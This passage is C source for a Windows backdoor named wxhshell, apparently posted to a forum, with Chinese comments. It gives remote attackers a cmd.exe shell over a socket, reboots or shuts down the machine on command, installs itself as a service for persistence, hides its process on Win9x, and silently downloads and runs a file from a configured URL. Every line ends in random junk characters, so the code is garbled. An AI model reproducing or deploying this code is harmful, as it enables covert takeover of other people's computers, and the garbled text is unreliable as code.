  // 帮助 X4 Arn,  
  case '?': { AE0uBv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fMUcVTFe  
    break; lG7PM^Eb  
  } =,6H2ew  
  // 安装 MiT0!6Pg  
  case 'i': { 9TW[;P2> )  
    if(Install()) D=0YLQ*rP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SMEl'y  
    else ]`/>hH>+~9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x b,XI/  
    break; k]~o=MLmj  
    } } oPO`  
  // 卸载 K^u,B3  
  case 'r': { #-0e0  
    if(Uninstall()) 3p%e_?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pU$k{^'UK  
    else sQJ\{'g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]r Uj<[O  
    break; YOl$sgg}  
    } _U s"   
  // 显示 wxhshell 所在路径 F]\ Sk'}&  
  case 'p': { t'n@yX_  
    char svExeFile[MAX_PATH]; 3UZd_?JI[^  
    strcpy(svExeFile,"\n\r"); x-BU$bx5  
      strcat(svExeFile,ExeFile); I/O3OD  
        send(wsh,svExeFile,strlen(svExeFile),0); FK _ ZE>  
    break; *w+'I*QSt~  
    } 2q~ .,vpP  
  // 重启 \SWTP1  
  case 'b': { e"E8BU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PCviQ!X  
    if(Boot(REBOOT)) #e' >9T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m$T5lKn}U?  
    else { gHg=G+Q@  
    closesocket(wsh);  %?ElC  
    ExitThread(0); 5\Q Tm;  
    } p*;!5;OUR  
    break; 'nCVjO7o  
    } AV5={KK  
  // 关机 i,6OMB $  
  case 'd': { %K6veB{M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c1#0o) q*7  
    if(Boot(SHUTDOWN)) Xw?DN*`L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nK>CPqB^(  
    else { yHeL&H  
    closesocket(wsh); J p'^!  
    ExitThread(0); {L-^J`> G  
    } &<A,\ M  
    break; C[J9 =!t  
    } -D`1z?zHra  
  // 获取shell qSY\a\.<  
  case 's': { & l>nzJ5?  
    CmdShell(wsh); #])"1fk  
    closesocket(wsh); bb6x} jR  
    ExitThread(0); `3;EJDEdbi  
    break; l6  G6H$  
  }  LA3m,  
  // 退出 F>fCp  
  case 'x': { w!F>fcm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s<I)THC  
    CloseIt(wsh); AO-5>r  
    break; IMf|/a9-  
    } 8 v/H;65  
  // 离开 tFmB`*!%  
  case 'q': { 6,>$Jzs)5E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K*~{M+lU7  
    closesocket(wsh); 3=O [Q:8  
    WSACleanup(); ;_<~9;  
    exit(1); ~KK} $iM  
    break; sxNf"C=-.  
        } [D"6&  
  } htBA.eQ  
  } f:>y'#P  
G6G Bqp6|  
  // 提示信息 \|PiQy*_?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2j s/>L0  
} irt9%w4"  
  } (xfc_h*xA  
B/a gW  
  return; PmuG(qg  
} (?z?/4>7<  
PCT&d)}  
// shell模块句柄 =H{<}>W'  
int CmdShell(SOCKET sock) WVP?Ie8  
{ MBWoPK  
STARTUPINFO si; 7-744wV}Z  
ZeroMemory(&si,sizeof(si)); UmR)L!QT8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o,7|=.-b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q5f QTV  
PROCESS_INFORMATION ProcessInfo; lp`j3)  
char cmdline[]="cmd"; Rhc:szDU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6#z8 %k aX  
  return 0; *zdD4 I=  
} 01.q9AGy  
v=k+MvX  
// 自身启动模式 ,DFN:uf=l  
int StartFromService(void) AiHU*dp6  
{ 9qap#A  
typedef struct [2@:jLth=  
{ M5I`i{Gw  
  DWORD ExitStatus; k4{!h?h  
  DWORD PebBaseAddress; dz^HN`AlzC  
  DWORD AffinityMask; ~XR ('}5D  
  DWORD BasePriority; +`d92Tz  
  ULONG UniqueProcessId; Ag8/%a~(  
  ULONG InheritedFromUniqueProcessId; qiz(k:\o  
}   PROCESS_BASIC_INFORMATION; 8m0*89HEu  
f ,e]jw@  
PROCNTQSIP NtQueryInformationProcess; =M1}HF,7>l  
utck{]P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u`v&URM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; By1T um+I1  
c7CYulm  
  HANDLE             hProcess; .gO|=E"  
  PROCESS_BASIC_INFORMATION pbi; J!Z6$VERy  
F_079~bJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tl dK@!E3  
  if(NULL == hInst ) return 0; ,!Wo6{'  
%{ BV+&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h1~h& F?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S)hDsf.I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a en%  
AZ.QQ*GZ#y  
  if (!NtQueryInformationProcess) return 0; It3k#A0  
k]ZE j/y~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;1&"]N%  
  if(!hProcess) return 0; ! $JX3mP  
gP>pb W_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C@a I*+@-"  
Ou[`)|>  
  CloseHandle(hProcess); &$s:h5HoX  
lw3H 8[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zY/Oh9`=v  
if(hProcess==NULL) return 0; xd{.\!q.  
i$kB6B#==  
HMODULE hMod; WN]k+0#  
char procName[255]; `)cI^!  
unsigned long cbNeeded; HS |Gz3~  
$~5H-wJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1gK|n  
 )M;~j  
  CloseHandle(hProcess); 0er| QC  
p@pb[Bx~[  
if(strstr(procName,"services")) return 1; // 以服务启动 +pYgh8w@  
3w^W6hN)  
  return 0; // 注册表启动 M4Cb(QAVP  
} I'xc$f_+  
J* !_O#  
// 主模块 GP+=b:C{E  
int StartWxhshell(LPSTR lpCmdLine) b'pwRKpx  
{ _#\Nw0{  
  SOCKET wsl; lL zR5445)  
BOOL val=TRUE; < }K9 50  
  int port=0; {N]WVp*R  
  struct sockaddr_in door; :?~)P!/xl5  
8(`e\)%l0  
  if(wscfg.ws_autoins) Install(); $'l<2h>4  
?Tc|3U  
port=atoi(lpCmdLine); rn . qs  
T[4xt,[a  
if(port<=0) port=wscfg.ws_port; (A=PDjP!  
#pZeGI|'J  
  WSADATA data; _1)n_P4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A@o7  
.4]XR/I$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A$p&<#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z#G\D5yX[*  
  door.sin_family = AF_INET; ~ AD>@;8fG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y nnK]N;\x  
  door.sin_port = htons(port); ;40Z/#FI  
$-/-%=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c) Eu(j\#  
closesocket(wsl); 8(j]=n6 r  
return 1; :.=:N%3[  
} y9mV6.r  
@~vg=(ic(  
  if(listen(wsl,2) == INVALID_SOCKET) { R:n|1]*f3X  
closesocket(wsl); ([<{RjPb  
return 1; W?SAa7+  
} I;}U/'RR>  
  Wxhshell(wsl); ^+-QY\N j  
  WSACleanup(); Mx w-f4j  
Qe F:s|[  
return 0; Ak3^en  
F4~ OsgZ'N  
} cAN8'S(s1  
n',7=~  
// 以NT服务方式启动 wmV=GV8 d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  MMk9rBf  
{ 2Bi]t%<{  
DWORD   status = 0; i-w<5pGnf  
  DWORD   specificError = 0xfffffff; mvH}G8  
n7i~^nf>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]*]*O|w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;Qy Ew5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;Mq'+4$  
  serviceStatus.dwWin32ExitCode     = 0; Fep@VkN  
  serviceStatus.dwServiceSpecificExitCode = 0; i|<wnJu  
  serviceStatus.dwCheckPoint       = 0; *CGHp8  
  serviceStatus.dwWaitHint       = 0; xj33g6S  
d_(;sW"I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E`LaO  
  if (hServiceStatusHandle==0) return; 8oU R/___  
De 3;}]wC  
status = GetLastError(); c|:EMYS  
  if (status!=NO_ERROR) :*g$@T   
{ 5M>p%/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V}vL[=QFZ(  
    serviceStatus.dwCheckPoint       = 0; /Gnt.%y&  
    serviceStatus.dwWaitHint       = 0; {{gd}g  
    serviceStatus.dwWin32ExitCode     = status; k6DJ(.n'%a  
    serviceStatus.dwServiceSpecificExitCode = specificError; IM6n\EZ^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f4\F:YT  
    return; Q(x=;wf5r  
  } ;~ Xjk  
mx1Bk9h%Xe  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &:C[ nq  
  serviceStatus.dwCheckPoint       = 0; Nq9pory^  
  serviceStatus.dwWaitHint       = 0; ~{g/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %;]/Z%!  
} rc:UG "[  
zt]8F)l@  
// 处理NT服务事件,比如:启动、停止 9'Z{uHi%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !M}-N  
{ ?!F<xi:  
switch(fdwControl) +?t& 7={~  
{ zxs)o}8icO  
case SERVICE_CONTROL_STOP: `r&Ui%fk;0  
  serviceStatus.dwWin32ExitCode = 0; ~eTp( XG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x!85P\sm  
  serviceStatus.dwCheckPoint   = 0; *kf%?T.  
  serviceStatus.dwWaitHint     = 0; wmK;0 )|H  
  { ej7N5~!,s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dC4`xUv  
  } 3#""`]9H  
  return; `6Q+N=k~Z  
case SERVICE_CONTROL_PAUSE: aA*h*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XmO]^ `  
  break; ,F!-17_vt  
case SERVICE_CONTROL_CONTINUE: )jwovS?V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f7 ew<c\  
  break; 'M?pg$ta_V  
case SERVICE_CONTROL_INTERROGATE: U4a8z<l$  
  break; FME,W&_d  
}; p? +!*BZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZQR)k:k7  
} A$~H`W<yxB  
i+Ne.h  
// 标准应用程序主函数 q}'<[Wg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @w%kOX  
{ \Rt>U|%  
f[`&3+  
// 获取操作系统版本 ?=?*W7  
OsIsNt=GetOsVer(); \2f?)id~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d hg($m  
B\|^$z2  
  // 从命令行安装 ]LCL?zAzH!  
  if(strpbrk(lpCmdLine,"iI")) Install(); $D^27q:H  
_MQh<,Z8  
  // 下载执行文件 9l[C&0w#\  
if(wscfg.ws_downexe) { d]_].D$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tT A  
  WinExec(wscfg.ws_filenam,SW_HIDE); !oRN,m[7)p  
} Pr1OQbg]8  
cjLA7I.O  
if(!OsIsNt) { L`:V]p  
// 如果时win9x,隐藏进程并且设置为注册表启动 >)[W7h  
HideProc(); 3<Z@!ft8  
StartWxhshell(lpCmdLine); 0aGauG[  
} HWL? doM  
else 0|hOoO]?q&  
  if(StartFromService()) v-F|#4Q=ut  
  // 以服务方式启动 D!)h92CIDm  
  StartServiceCtrlDispatcher(DispatchTable); P$O@G$n  
else =L"I[  
  // 普通方式启动 e=tM=i"  
  StartWxhshell(lpCmdLine); Z0~,cO8~  
e v7A;;  
return 0; Nb0T3\3W  
}
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只看该作者 1 发表于: 2006-10-10
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